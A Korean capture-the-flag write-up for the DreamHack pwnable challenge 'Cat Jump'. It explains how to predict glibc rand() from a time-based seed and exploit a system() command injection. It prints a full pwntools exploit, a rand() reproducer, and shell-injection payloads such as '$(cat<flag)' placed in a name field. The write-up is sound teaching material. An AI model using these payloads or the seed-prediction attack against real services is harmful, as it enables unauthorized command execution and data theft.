문제: DreamHack — Cat Jump 분류: pwnable 난이도: 🥉 Bronze 3 FLAG:
DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48}
고양이가 방해물을 피해 옥상까지 올라가는 게임이다. 문제 설명은 그게 전부고, 소스가 통째로 들어 있다.
소스를 열면 취약점 자체는 금방 보인다. 문제는 그 취약점이 게임을 37번 연속으로 이긴 뒤에야 열린다는 것이다. 장애물은 매 라운드 rand() 로 놓이니까 찍어서 37번을 통과할 확률은 사실상 0이다. 그래서 이 문제는 "명령 주입을 아느냐"가 아니라 "난수를 재현할 수 있느냐" 로 갈린다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Cat Jump |
| 난이도 | 🥉 Bronze 3 |
| 분류 | pwnable |
| 제공 파일 | Dockerfile, deploy/cat_jump(바이너리), deploy/cat_jump.c(소스), run.sh, xinetd |
| 서버 | host3.dreamhack.games:11552 (xinetd, 문제마다 포트 다름) |
| 핵심 취약점 | srand(time(NULL)) 시드 예측 + system() 명령 주입 |
풀이 흐름은 두 단계다. 접속 시각으로 시드를 맞혀 37수를 통째로 계산해 한 번에 보내고, 이름 칸에 $(cat<flag) 를 넣어 프로그램이 자기 손으로 플래그를 출력하게 만든다.
🔬 코드 정찰
배포본부터 펼쳐 본다.
ls -R extracted && file extracted/deploy/cat_jump
소스(cat_jump.c)와 컴파일된 바이너리, 그리고 배포 스크립트가 다 들어 있다. flag 파일도 자리표시용 더미로 같이 들어 있는데, 이게 나중에 경로를 잡는 데 쓰인다.
보호 기법을 먼저 본다.
pwn checksec extracted/deploy/cat_jump
Full RELRO · Canary · NX · PIE 가 전부 켜져 있다. 그런데 소스 첫 줄 주석은 이렇게 되어 있다.
/* cat_jump.c
* gcc -Wall -no-pie -fno-stack-protector cat_jump.c -o cat_jump
*/주석대로면 PIE 도 카나리도 없어야 하는데 실제 바이너리는 둘 다 있다. 배포된 바이너리는 저 명령으로 만든 게 아니라는 뜻이다. 어차피 이 문제는 메모리 손상으로 푸는 게 아니라서 결론은 안 바뀌지만, 주석을 믿고 스택 오버플로우를 노렸다면 시간을 버렸을 것이다.
게임 루프
핵심은 StartGame() 하나다.
#define CAT_JUMP_GOAL 37
#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3
#define OBSTACLE_LEFT 0
#define OBSTACLE_RIGHT 1
void StartGame() {
char cat_name[32];
char catnip;
char cmd[64];
char input;
char obstacle;
double p;
unsigned char jump_cnt;
srand(time(NULL));
catnip = 0;
jump_cnt = 0;
puts("let the cat reach the roof! 🐈");
sleep(1);
do {
obstacle = rand() % 2;
do {
printf("left jump='h', right jump='j': ");
scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');
if (catnip) {
catnip--;
jump_cnt++;
puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
} else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
(input == 'l' && obstacle != OBSTACLE_RIGHT)) {
jump_cnt++;
puts("the cat jumped successfully! 🐱");
} else {
puts("the cat got stuck by obstacle! 😿 🪨 ");
return;
}
p = (double)rand() / RAND_MAX;
if (p < CATNIP_PROBABILITY) {
puts("the cat found and ate some catnip! 😽");
catnip = CATNIP_INVINCIBLE_TIMES;
}
} while (jump_cnt < CAT_JUMP_GOAL);
puts("your cat has reached the roof!\n");
printf("let people know your cat's name 😼: ");
scanf("%31s", cat_name);
snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
system(cmd);
printf("goodjob! ");
system("cat /tmp/cat_db");
}읽어야 할 것을 정리하면 이렇다.
-
한 라운드에
rand()가 두 번 불린다. 첫 번째는 장애물 위치, 두 번째는 개박하(무적) 확률. -
'h'는obstacle != 0일 때,'l'은obstacle != 1일 때 성공한다. 즉 장애물이 1이면'h', 0이면'l'이다. -
한 번이라도 틀리면 그 자리에서
return이라 재도전이 없다. 연결을 새로 맺어야 한다. -
37번을 채우면 이름을 받고, 그 이름이
cmd_fmt에 끼워져system()으로 간다.
cmd_fmt 는 전역이다.
char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";이름이 큰따옴표 안쪽에 들어가고, 조립된 문자열이 통째로 셸에 넘어간다. 여기가 목표 지점이다.
배포 스크립트
서버가 이 바이너리를 어떻게 띄우는지도 봐야 한다.
#!/bin/bash
#
cd /home/cat_jump
exec 2>/dev/null
timeout 60 /home/cat_jump/cat_jump두 줄이 중요하다. cd /home/cat_jump 덕분에 작업 디렉토리에 flag 가 그대로 있다 — 절대경로를 쓸 필요가 없다. 그리고 timeout 60 이 있어서 37라운드를 60초 안에 끝내야 한다. 한 수씩 주고받으며 반응을 보는 방식으로는 빠듯하다.
xinetd 설정을 보면 사용자는 cat_jump, 포트는 31337 이다. Dockerfile 에서 flag 는 chmod 440 root:cat_jump 이라 그 사용자로 읽을 수 있다.
🧩 배경 — glibc rand() 는 어디까지 예측되나
srand(time(NULL)) 은 흔한 관용구지만, 공격자 입장에서는 시드 후보가 초 단위로 몇 개뿐이라는 뜻이다. 접속한 시각을 알면 시드를 안다.
시드를 알면 그 다음은 결정론이다. glibc 의 rand() 는 기본적으로 TYPE_3 — 상태 31칸짜리 가산 되먹임 생성기(additive feedback, lagged Fibonacci 계열)다. 동작은 이게 전부다.
초기화 r[0] = seed
r[i] = (16807 * r[i-1]) % 2147483647 (i = 1..30)
r[i] = r[i-31] (i = 31..33)
점화식 r[i] = (r[i-3] + r[i-31]) mod 2^32 (i >= 34)
출력 rand() 의 n 번째 값 = r[n + 344] >> 1앞의 344개를 버리는 워밍업까지 포함해 서른 줄이면 그대로 옮겨 쓸 수 있다. 암호학적 안전성이 목표인 물건이 아니라 통계적으로 고르기만 하면 되는 물건이라, 상태를 숨기려는 장치가 아예 없다.

여기서 놓치기 쉬운 게 하나 있다. 무적 상태에서도 장애물용 rand() 는 그대로 소모된다. 소스를 보면 obstacle = rand() % 2 가 if (catnip) 검사보다 위에 있다. 이걸 빠뜨리고 "무적이면 rand 를 안 쓰겠지"라고 넘기면 개박하를 먹은 순간부터 스트림이 통째로 어긋난다.
🐛 삽질과 함정
▶🐛 삽질 1 — /dev/null 로 돌렸다가 458MB 로그를 받았다
바이너리 동작을 보려고 아무 생각 없이 < /dev/null 로 한 번 돌렸다. timeout 10 을 걸어 뒀는데도 출력이 458MB 나왔다. 터미널이 프롬프트로 뒤덮였다.
원인은 이 do-while 이다.
do {
printf("left jump='h', right jump='j': ");
scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');scanf 의 반환값을 안 본다. EOF 를 만나면 scanf 는 EOF 를 돌려주고 input 을 건드리지 않는다. 초기값이 'h' 나 'l' 이 아닌 쓰레기 값이면 조건이 영원히 참이고, 프롬프트만 미친 속도로 찍힌다.
얼마나 빠른지 재 봤다.
#!/usr/bin/env python3
"""stdin 을 /dev/null 로 주면 무슨 일이 나는지 — 실제로 재 본다.
do { printf(...); scanf("%c%*c", &input); }
while (input != 'h' && input != 'l');
scanf 의 반환값을 안 본다. EOF 면 input 이 안 바뀌므로, 초기값이 'h'/'l' 이
아닌 한 조건이 영원히 참이고 프롬프트만 계속 찍힌다.
"""
import subprocess
import time
SEC = 2
with open("/dev/null") as devnull, open("/tmp/cat_spin.txt", "wb") as out:
p = subprocess.Popen(["local/cat_jump"], stdin=devnull, stdout=out,
stderr=subprocess.STDOUT)
time.sleep(SEC)
p.kill()
p.wait()
blob = open("/tmp/cat_spin.txt", "rb").read()
prompts = blob.count(b"left jump")
print(f"{SEC}초 동안 stdin=/dev/null 로 방치한 결과")
print(f" 출력 크기 : {len(blob):,} 바이트 ({len(blob)/1024/1024:.1f} MB)")
print(f" 프롬프트 반복 : {prompts:,} 회")
print(f" 초당 : {prompts // SEC:,} 회/초")
2초에 27.8MB, 초당 47만 번씩 프롬프트를 찍는다. 처음에 10초를 방치했을 때 458MB 가 나온 게 이 속도다.
원격에서는 run.sh 의 timeout 60 이 끊어 주니 서비스가 죽지는 않지만, 로컬에서 무심코 파이프로 받으면 디스크가 먼저 운다.
▶🐛 함정 2 — 프롬프트는 'j' 라는데 코드가 받는 건 'l' 이다
프롬프트가 이렇게 나온다.
left jump='h', right jump='j':그런데 조건문은 while (input != 'h' && input != 'l') 다. 'j' 는 아무리 보내도 루프를 못 빠져나간다. 안내대로 쳤다가 "왜 반응이 없지"로 시간을 버리기 딱 좋다.
직접 확인해 봤다.
#!/usr/bin/env python3
"""프롬프트는 'j' 라는데 코드가 받는 건 'l' 이다 — 실제로 확인.
printf("left jump='h', right jump='j': ");
scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');
"""
import os
import warnings
os.environ.setdefault("TERM", "xterm")
warnings.filterwarnings("ignore", category=BytesWarning)
from pwn import context, process
context.log_level = "warning"
io = process("local/cat_jump")
io.recvuntil(b"reach the roof")
print("[*] 안내대로 'j' 를 5번 보낸다")
io.send(b"j\n" * 5)
data = io.recvrepeat(3)
print(f" 프롬프트 재출력 {data.count(b'left jump')}회 / 점프 판정 {data.count(b'the cat')}회")
print(" → 'j' 는 do-while 조건을 못 빠져나와 되묻기만 한다")
print("\n[*] 이번엔 'l' 을 보낸다")
io.send(b"l\n")
data = io.recvrepeat(3)
print(f" 프롬프트 재출력 {data.count(b'left jump')}회 / 점프 판정 {data.count(b'the cat')}회")
for line in data.split(b"\n"):
if b"the cat" in line:
print(" ", line.decode(errors="replace").strip())
io.close()
'j' 를 다섯 번 보내니 프롬프트만 여섯 번 다시 떴고 점프 판정은 한 번도 없었다. 'l' 을 보내자 그제서야 판정이 났다. 이 판은 운 좋게 통과했지만, 예측 없이 보낸 것이라 절반은 여기서 죽는다.
▶🐛 함정 3 — 찍어서는 37수를 못 간다
혹시나 해서 예측 없이 'h' 만 37번 보내는 걸 10판 돌려 봤다.
#!/usr/bin/env python3
"""예측 없이 'h' 만 계속 보내면 어디까지 가나 — 10판 실측.
장애물이 rand()%2 라 한 라운드 생존 확률이 1/2. 37라운드를 다 통과할 확률은
2^-37 근처(개박하가 조금 올려 준다)라 찍어서는 안 된다는 걸 숫자로 본다.
"""
import os
import warnings
os.environ.setdefault("TERM", "xterm")
warnings.filterwarnings("ignore", category=BytesWarning)
from pwn import context, process
context.log_level = "warning"
BIN = os.path.abspath("local/cat_jump")
ROUNDS = 10
GOAL = 37
results = []
for i in range(ROUNDS):
io = process(BIN)
io.send(b"h\n" * GOAL)
out = io.recvall(timeout=10)
io.close()
jumps = out.count(b"jumped successfully") + out.count(b"invincible")
results.append(jumps)
print(f" {i + 1:>2}판째: {jumps:>2}회 점프하고 {'도달!' if jumps >= GOAL else '막힘'}")
print()
print(f"평균 {sum(results) / len(results):.1f}회 / 목표 {GOAL}회, "
f"최고 기록 {max(results)}회, 도달 {results.count(GOAL)}회")
print("→ 찍어서는 못 간다. rand() 를 맞혀야 한다.")
평균 0.4회, 최고 기록이 2회다. 개박하가 확률을 조금 올려 주긴 하지만 37번을 통째로 통과할 기댓값은 2⁻³⁷ 언저리다. 예측 말고는 길이 없다.
💣 핵심 — 시드를 맞히면 37수가 통째로 나온다
소스만 보고 넘어가지 않고 바이너리에서도 확인했다. 먼저 시드가 만들어지는 자리다.
objdump -d --no-show-raw-insn --start-address=0x1308 --stop-address=0x1368 extracted/deploy/cat_jump | sed -E -f annot_seed.sed주석(<--)은 내가 sed 로 얹은 것이고, 왼쪽 디스어셈블리는 objdump 출력 그대로다. 치환 규칙은 이렇다.
# annot_seed.sed
s|(call.*<time@plt>)|\1 <-- time(NULL) : 초 단위 현재시각|
s|(call.*<srand@plt>)|\1 <-- srand(그 값) : 시드가 곧 접속 시각|
s|(call.*<sleep@plt>)|\1 <-- sleep(1)|
s|(call.*<rand@plt>)|\1 <-- rand() #1 : 장애물|
s|(and +\$0x1,%eax)|\1 <-- % 2 (0=왼쪽, 1=오른쪽)|
s|(mov +%al,-0x79\(%rbp\))|\1 <-- obstacle 에 저장|
time@plt 의 반환값이 %eax → %edi 로 옮겨져 곧장 srand@plt 로 들어간다. 중간에 섞는 연산이 없다. 시드는 접속 시각 그 자체다.
이어서 라운드 뒷부분과 이름 처리 구간이다.
objdump -d --no-show-raw-insn --start-address=0x141d --stop-address=0x14d5 extracted/deploy/cat_jump | sed -E -f annot_inject.sed# annot_inject.sed
s|(call.*<rand@plt>)|\1 <-- rand() #2 : 개박하 확률 (라운드당 rand 는 2회)|
s|(cmpb +\$0x24,-0x7a\(%rbp\))|\1 <-- jump_cnt <= 36 이면 루프 계속 = 37회 목표|
s|(call.*<__isoc99_scanf@plt>)|\1 <-- scanf("%31s", cat_name)|
s|(mov +\$0x40,%esi)|\1 <-- snprintf 크기 = sizeof(cmd) = 64|
s|(lea.*<cmd_fmt>)|\1 <-- echo "%s" > /tmp/cat_db|
s|(call.*<snprintf@plt>)|\1 <-- 이름을 포맷에 그대로 끼워 넣는다|
s|(call.*<system@plt>)|\1 <-- 그 문자열이 통째로 셸로 간다 ★|
cmpb $0x24,-0x7a(%rbp) 다음이 jbe 다. 0x24 는 36이고 부호 없는 비교니까 jump_cnt <= 36 이면 루프를 계속한다 — 소스의 37회와 정확히 맞는다. 그리고 라운드가 끝날 때마다 rand@plt 가 한 번 더 불리는 것도 여기서 확인된다.
런타임으로 다시 확인
정적으로 읽은 게 실제 실행과 맞는지는 gdb 로 본다. srand 진입점에서 시드를 1234로 강제 고정하면 결과가 결정론이 되어 예측값과 한 줄씩 대조할 수 있다.
# cmds.gdb
set pagination off
set confirm off
break srand
run < moves_1234.txt
printf "\n[gdb] time(NULL) 이 준 원래 시드 = %u\n", (unsigned)$rdi
set $rdi = 1234
printf "[gdb] 시드를 1234 로 고정하고 계속한다\n\n"
delete
break *(StartGame+0x52)
break *(StartGame+0x11a)
set $i = 1
while $i <= 6
continue
printf "[gdb] rand() #%d = %u\n", $i, (unsigned)$eax
set $i = $i + 1
end
kill+0x52 와 +0x11a 는 위 objdump 에서 확인한 두 call rand 의 다음 명령 주소다. 거기서 $eax 가 곧 반환값이다. 입력은 시드 1234 용으로 미리 뽑아 둔 37수를 먹인다.
#!/usr/bin/env python3
"""시드 하나에 대한 37수를 파일로 뽑는다. gdb 검증에 먹일 입력을 만들 때 쓴다.
python3 make_moves.py 1234 moves_1234.txt
"""
import sys
from solve import plan_moves
def main():
seed = int(sys.argv[1])
out = sys.argv[2] if len(sys.argv) > 2 else None
moves = plan_moves(seed)
blob = b"".join(m + b"\n" for m in moves)
print(f"seed={seed} 총 {len(moves)}수")
print("앞 12수:", b" ".join(moves[:12]).decode())
if out:
with open(out, "wb") as f:
f.write(blob)
print(f"→ {out} ({len(blob)} 바이트)")
if __name__ == "__main__":
main()gdb -q -batch -x cmds.gdb --args local/cat_jump화면 위쪽 고양이 ASCII 아트는 프로그램이 시작할 때 스스로 찍는 배너다. 파이프로 걸러 보려고 했는데 안 됐다 — gdb 는 실행 대상에게 터미널을 그대로 물려주기 때문에, 프로그램 출력은 gdb 의 stdout 파이프를 타지 않고 터미널로 직행한다. 그래서 아래 화면은 손대지 않은 원본 그대로다.

게임이 실제로 진행되면서(the cat jumped successfully!) 브레이크포인트 2·3이 번갈아 걸린다. 라운드당 rand() 두 번이라는 게 실행 화면에서 그대로 보인다.
이제 이 값들을 파이썬 예측값과 맞춰 본다.
#!/usr/bin/env python3
"""gdb 로 실제 실행 중에 뽑은 rand() 값 vs 파이썬 예측값 대조.
cmds.gdb 가 시드를 1234 로 고정하고 rand() 반환값 6개를 찍는다.
그 출력을 파싱해서 glibc_rand_seq(1234) 와 한 값씩 맞춰 본다.
"""
import re
import subprocess
from glibc_rand import glibc_rand_seq
SEED = 1234
N = 6
out = subprocess.run(
["gdb", "-q", "-batch", "-x", "cmds.gdb", "--args", "local/cat_jump"],
capture_output=True, text=True, timeout=180,
).stdout
observed = [int(v) for v in re.findall(r"rand\(\) #\d+ = (\d+)", out)]
predicted = glibc_rand_seq(SEED, N)
print(f"시드 {SEED} 고정 — gdb 실측 vs 파이썬 예측\n")
print(f"{'#':>2} {'gdb 실측':>12} {'예측':>12} {'%2':>3} 일치")
print("-" * 46)
ok = True
for i, (obs, pred) in enumerate(zip(observed, predicted), 1):
same = obs == pred
ok &= same
print(f"{i:>2} {obs:>12} {pred:>12} {pred % 2:>3} {'O' if same else 'X'}")
print()
print(f"[{'OK' if ok and len(observed) == N else 'FAIL'}] {len(observed)}/{N} 값 일치 "
f"— 홀수(=obstacle 1)면 'h', 짝수면 'l'")
6개 전부 일치한다. 예측기가 실제 프로세스와 같은 스트림을 뽑고 있다는 게 확인됐으니, 남은 건 시드를 맞히는 것뿐이다.
시드는 접속 시각이고 우리 시계와 서버 시계가 몇 초 어긋날 수 있으니, 후보를 현재시각 ± N초 로 훑는다. 한 판이 실패해도 연결만 다시 맺으면 되니 비용이 거의 없다.
🎯 이름 칸으로 셸 부르기
37수를 통과하면 이름을 묻는다. 여기가 실제 취약점이다.
char cat_name[32];
char cmd[64];
...
scanf("%31s", cat_name);
snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name); // "echo \"%s\" > /tmp/cat_db"
system(cmd);
printf("goodjob! ");
system("cat /tmp/cat_db");버퍼 관점에서 보면 멀쩡하다. 실제로 세어 보면 넘칠 수가 없다.
#!/usr/bin/env python3
"""cmd[64] 가 넘치는지 / 이름에 몇 글자를 쓸 수 있는지 실제로 세어 본다.
char cmd[64];
snprintf(cmd, sizeof(cmd), "echo \"%s\" > /tmp/cat_db", cat_name);
"""
FMT = 'echo "%s" > /tmp/cat_db'
CMD_SZ = 64
NAME_MAX = 31 # scanf("%31s") — 31글자 + NUL
fixed = len(FMT) - 2 # %s 자리를 뺀 고정부
print(f"포맷 문자열 : {FMT!r}")
print(f"고정부 길이 : {fixed} 바이트 (%s 제외)")
print(f"이름 최대 : {NAME_MAX} 바이트 (scanf %31s)")
print(f"최악의 cmd 길이 : {fixed + NAME_MAX} + NUL = {fixed + NAME_MAX + 1}")
print(f"cmd 버퍼 : {CMD_SZ}")
print()
print("→ snprintf 잘림/오버플로우 없음. 버퍼가 아니라 "
"'셸에 그대로 넘어간다'가 취약점이다.\n")
for name in ['"; cat flag; #', '$(cat<flag)', '";cat<flag;#']:
got = name[:NAME_MAX]
cut = got.split()[0] # scanf %s 는 공백에서 끊는다
print(f"입력 : {name}")
print(f" scanf 가 받는 값 : {cut!r} ({len(cut)}글자)")
print(f" 최종 cmd : {FMT % cut}")
print()![클릭하여 확대 check_cmd_len.py 실행 — 고정부 21 + 이름 31 = 52 로 cmd[64] 안에 들어가고, 공백 있는 페이로드는 잘린다](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-cat-jump-writeup%2F10_cmdlen.png&w=3840&q=75)
고정부 21바이트 + 이름 최대 31바이트 = 52바이트라 cmd[64] 를 절대 못 넘긴다. snprintf 도 크기를 제대로 받았다. 즉 메모리 손상은 아예 성립하지 않는다. 취약점은 조립된 문자열이 검증 없이 system() 으로 간다는 것 하나다.
제약은 scanf("%31s") 다. %s 변환은 공백에서 끊기므로 페이로드에 공백을 못 쓴다. 위 출력의 첫 항목이 그 결과를 보여준다 — "; cat flag; # 를 보내면 "; 두 글자만 남는다.

▶🐛 함정 4 — 공백 페이로드를 실제로 넣어 보면
말로만 하지 말고 로컬에서 두 페이로드를 나란히 넣어 비교했다.
#!/usr/bin/env python3
"""공백 들어간 페이로드가 왜 안 되는지 — 로컬에서 직접 넣어 본다.
37수를 정상으로 통과한 뒤 이름 칸에 두 가지를 넣어 결과를 비교한다.
A. '"; cat flag; #' → scanf("%31s") 가 첫 공백에서 끊어 '";' 만 받는다
B. '$(cat<flag)' → 공백이 없어 통째로 들어간다
"""
import os
import time
import warnings
os.environ.setdefault("TERM", "xterm")
warnings.filterwarnings("ignore", category=BytesWarning)
from pwn import context, process
from solve import plan_moves
context.log_level = "warning"
# pwntools 는 cwd 를 준 뒤에도 실행경로를 다시 cwd 기준으로 푼다 — 절대경로로 준다.
BIN = os.path.abspath("local/cat_jump")
CWD = os.path.abspath("local")
def run(payload):
# 앞선 실행이 남긴 /tmp/cat_db 를 지운다. 안 지우면 주입이 실패해도
# 프로그램의 마지막 `cat /tmp/cat_db` 가 옛 값을 뱉어 성공처럼 보인다.
if os.path.exists("/tmp/cat_db"):
os.unlink("/tmp/cat_db")
io = process(BIN, cwd=CWD)
seed = int(time.time())
io.send(b"".join(m + b"\n" for m in plan_moves(seed)))
try:
io.recvuntil(b"reached the roof", timeout=15)
except EOFError:
io.close()
return None
io.send(payload + b"\n")
out = io.recvall(timeout=5)
io.close()
return out
for label, payload in [("A 공백 있음", b'"; cat flag; #'), ("B 공백 없음", b"$(cat<flag)")]:
out = None
while out is None: # 시드가 어긋나면 게임에서 죽으니 될 때까지
out = run(payload)
tail = out.decode(errors="replace").strip().replace("\n", " ⏎ ")
print(f"[{label}] 보낸 이름: {payload.decode()}")
print(f" 프로그램 출력: {tail}")
print()
공백이 있는 쪽은 sh: 1: Syntax error: Unterminated quoted string 이 뜨고 /tmp/cat_db 는 아예 만들어지지 않는다. 여기 나오는 DH{LOCAL_TEST_FAKE_FLAG_not_real} 은 로컬 테스트용으로 내가 만든 더미 파일이다.
이 스크립트를 쓰면서 한 가지 걸린 게 있다. 처음에는 /tmp/cat_db 를 안 지우고 돌렸는데, 주입이 실패한 A 쪽에서도 플래그가 찍혔다. 앞선 실행이 남긴 파일을 프로그램의 마지막 cat /tmp/cat_db 가 그냥 읽어 준 것이다. 실패를 성공으로 착각하기 좋은 자리라 매 실행 전에 지우도록 고쳤다.
11글자짜리 페이로드
공백을 피하는 방법은 두 가지다.
$(cat<flag) # 명령 치환 — echo 가 플래그를 /tmp/cat_db 에 써 준다
";cat<flag;# # 따옴표를 닫고 직접 실행 — 플래그가 stdout 으로 바로 나온다둘 다 공백 대신 < 리다이렉션으로 인자를 넘긴다. run.sh 가 cd /home/cat_jump 를 해 두었으니 경로도 flag 한 단어면 충분해서, 첫 번째는 11글자밖에 안 된다.
첫 번째를 기본으로 골랐다. 프로그램이 마지막에 system("cat /tmp/cat_db") 를 스스로 실행하므로, 우리는 파일에 써 두기만 하면 출력은 프로그램이 대신 해 준다. 두 번째는 /tmp/cat_db 쓰기가 막혔을 때를 대비한 예비다.
🚀 Full Exploit
난수 재현부터. glibc 초기화 절차를 그대로 옮긴 것이고, __main__ 에서 실제 libc 와 대조한다.
#!/usr/bin/env python3
"""glibc rand() 재현 — TYPE_3 (additive feedback, deg=31, sep=3).
srand(seed) 이후의 rand() 반환값을 그대로 계산한다.
glibc random_r.c 의 초기화 절차를 그대로 옮긴 것:
r[0] = seed
r[i] = (16807 * r[i-1]) % 2147483647 (i = 1..30, Lehmer)
r[i] = r[i-31] (i = 31..33)
r[i] = (r[i-3] + r[i-31]) mod 2**32 (i >= 34)
rand() 의 i 번째 출력 = r[i+344] >> 1
"""
def glibc_rand_seq(seed, count):
"""srand(seed) 뒤 rand() 를 count 번 부른 결과 리스트."""
n = count + 344
r = [0] * n
seed &= 0xFFFFFFFF
if seed == 0: # glibc: 시드 0 은 1 로 바꿔 쓴다 (상태가 전부 0 이 되는 것 방지)
seed = 1
r[0] = seed
# 31개 상태를 Lehmer(minimal standard) 로 채운다.
for i in range(1, 31):
prev = r[i - 1]
# glibc 는 오버플로 피하려고 Schrage 기법을 쓰지만 값은 아래와 동일하다.
word = (16807 * prev) % 2147483647
r[i] = word
for i in range(31, 34):
r[i] = r[i - 31]
for i in range(34, n):
r[i] = (r[i - 3] + r[i - 31]) & 0xFFFFFFFF
return [r[i] >> 1 for i in range(344, n)]
if __name__ == "__main__":
# ctypes 로 실제 libc 를 불러 같은 값이 나오는지 대조한다.
import ctypes
libc = ctypes.CDLL("libc.so.6")
for seed in (0, 1, 1785647064, 0x7FFFFFFF, 12345):
libc.srand(seed)
real = [libc.rand() for _ in range(80)]
mine = glibc_rand_seq(seed, 80)
ok = "OK " if real == mine else "MISMATCH"
print(f"[{ok}] seed={seed:<12} real[:5]={real[:5]}")
if real != mine:
for i, (a, b) in enumerate(zip(real, mine)):
if a != b:
print(f" 첫 불일치 i={i}: libc={a} mine={b}")
break그 위에 얹은 익스플로잇이다. 시드 후보를 훑고, 37수를 한 번에 밀어넣고, 이름 칸에 페이로드를 넣는다.
#!/usr/bin/env python3
"""Cat Jump (Dreamhack Bronze 3, pwnable) exploit.
두 단계다.
1) 37번 연속으로 장애물을 피해야 이름 입력 단계에 도달한다.
obstacle = rand() % 2 인데 srand(time(NULL)) 이므로 시드를 초 단위로 맞히면
37수 전체를 미리 계산할 수 있다. 서버 시계 오차는 후보 시드를 훑어서 흡수한다.
2) 이름은 snprintf(cmd, 64, "echo \"%s\" > /tmp/cat_db", cat_name) 에 그대로 박혀
system(cmd) 로 실행된다. scanf("%31s") 라 공백은 못 쓰지만 명령 치환은 된다.
사용법:
python3 solve.py --local # 로컬 바이너리로 검증
python3 solve.py --host host1.dreamhack.games --port 12345
"""
import argparse
import os
import sys
import time
import warnings
os.environ.setdefault("TERM", "xterm")
# pwntools 가 argv 를 str 로 다룰 때 내는 잡음. 익스와 무관해서 끈다.
warnings.filterwarnings("ignore", category=BytesWarning)
from glibc_rand import glibc_rand_seq
from pwn import context, process, remote
GOAL = 37 # CAT_JUMP_GOAL
RAND_MAX = 2147483647
CATNIP_P = 0.1 # CATNIP_PROBABILITY
CATNIP_TIMES = 3 # CATNIP_INVINCIBLE_TIMES
# echo "..." 안쪽이라 명령 치환이 그대로 먹는다. run.sh 가 cd /home/cat_jump 하므로 상대경로.
PAYLOADS = [
b"$(cat<flag)", # /tmp/cat_db 에 flag 를 써서 프로그램의 cat 이 대신 출력하게 한다
b'";cat<flag;#', # /tmp/cat_db 가 안 써질 때용 — flag 를 stdout 으로 직접
]
def plan_moves(seed):
"""시드 하나에 대해 37수를 통째로 계산한다.
한 라운드에 rand() 가 두 번 불린다: 장애물 위치 / 개박하 확률.
'h'(왼쪽)는 obstacle==1 일 때, 'l'(오른쪽)은 obstacle==0 일 때 성공한다.
"""
seq = glibc_rand_seq(seed, GOAL * 2 + 16)
pos = 0
catnip = 0
jump_cnt = 0
moves = []
while jump_cnt < GOAL:
obstacle = seq[pos] % 2
pos += 1
if catnip: # 무적 상태에선 입력이 뭐든 통과 — 그래도 한 글자는 보내야 한다
catnip -= 1
moves.append(b"h")
else:
moves.append(b"h" if obstacle == 1 else b"l")
jump_cnt += 1
p = seq[pos] / RAND_MAX
pos += 1
if p < CATNIP_P:
catnip = CATNIP_TIMES
return moves
def attempt(io, seed, payload):
"""한 연결에서 시드 하나를 시험한다. flag 를 찾으면 bytes, 아니면 None."""
moves = plan_moves(seed)
# scanf("%c%*c") 가 글자 하나 + 버릴 글자 하나를 먹으므로 "h\n" 짝으로 보낸다.
# 37수를 한 번에 밀어넣어야 run.sh 의 timeout 60 안에 끝난다.
io.send(b"".join(m + b"\n" for m in moves))
try:
data = io.recvuntil(b"reached the roof", timeout=15)
except EOFError:
return None
if b"reached the roof" not in data:
return None
# 여기부터는 "let people know your cat's name" 프롬프트 뒤의 scanf("%31s") 차례다.
io.send(payload + b"\n")
tail = io.recvall(timeout=5)
return tail
def find_flag(blob):
if not blob:
return None
for line in blob.split(b"\n"):
if b"DH{" in line:
start = line.index(b"DH{")
end = line.find(b"}", start)
if end != -1:
return line[start:end + 1]
return None
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host")
ap.add_argument("--port", type=int)
ap.add_argument("--local", action="store_true")
ap.add_argument("--bin", default="extracted/deploy/cat_jump")
ap.add_argument("--cwd", default=None, help="로컬 실행 디렉토리(flag 가 있는 곳)")
ap.add_argument("--window", type=int, default=4, help="시드 후보 ±초")
args = ap.parse_args()
context.log_level = "warning"
offsets = [0]
for d in range(1, args.window + 1):
offsets += [-d, +d]
for payload in PAYLOADS:
for off in offsets:
if args.local:
# pwntools 는 cwd 를 준 뒤에도 실행경로를 cwd 기준으로 다시 푼다 → 절대경로로.
io = process(os.path.abspath(args.bin),
cwd=os.path.abspath(args.cwd) if args.cwd else None)
else:
io = remote(args.host, args.port)
seed = int(time.time()) + off
print(f"[*] payload={payload.decode():14} offset={off:+d} seed={seed} ... ", end="", flush=True)
try:
tail = attempt(io, seed, payload)
finally:
io.close()
flag = find_flag(tail)
if flag:
print("HIT")
print(f"\n[+] FLAG: {flag.decode()}")
return 0
print("옥상 도달 실패" if tail is None else "도달했으나 flag 없음")
print("\n[-] 모든 후보 실패 — window 를 늘리거나 서버 시계를 다시 보라")
return 1
if __name__ == "__main__":
sys.exit(main())로컬 검증 먼저
서버를 켜기 전에 로컬 바이너리로 끝까지 돌려 확인했다. local/ 에 바이너리 사본과 더미 flag 를 두고 거기서 실행한다.
mkdir -p local
cp extracted/deploy/cat_jump local/
chmod +x local/cat_jump
printf 'DH{LOCAL_TEST_FAKE_FLAG_not_real}\n' > local/flagpython3 solve.py --local --bin local/cat_jump --cwd local --window 1
로컬은 프로세스와 시계가 같으니 offset +0 에서 바로 걸린다. --window 1 로 충분하다.
원격
라이브 서버에 붙는다. 서버·클라이언트 시계 차이를 감안해 --window 4 (±4초, 후보 9개)로 잡았다.
python3 solve.py --host host3.dreamhack.games --port 11552 --window 4
첫 후보에서 걸렸다. 서버 시계가 우리 시계와 초 단위로 맞아 있었다는 뜻이다.
[*] payload=$(cat<flag) offset=+0 seed=1785647630 ... HIT
[+] FLAG: DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48}📝 결론
srand(time(NULL)) 은 난수가 아니라 공개된 상수다
이 문제에서 난수는 "게임 난이도"로만 쓰인 것처럼 보이지만, 실제로는 플래그로 가는 문을 지키는 유일한 장치였다. 시드가 초 단위 시각이면 후보가 몇 개뿐이고, 한 번 맞히면 이후 스트림은 전부 결정된다.
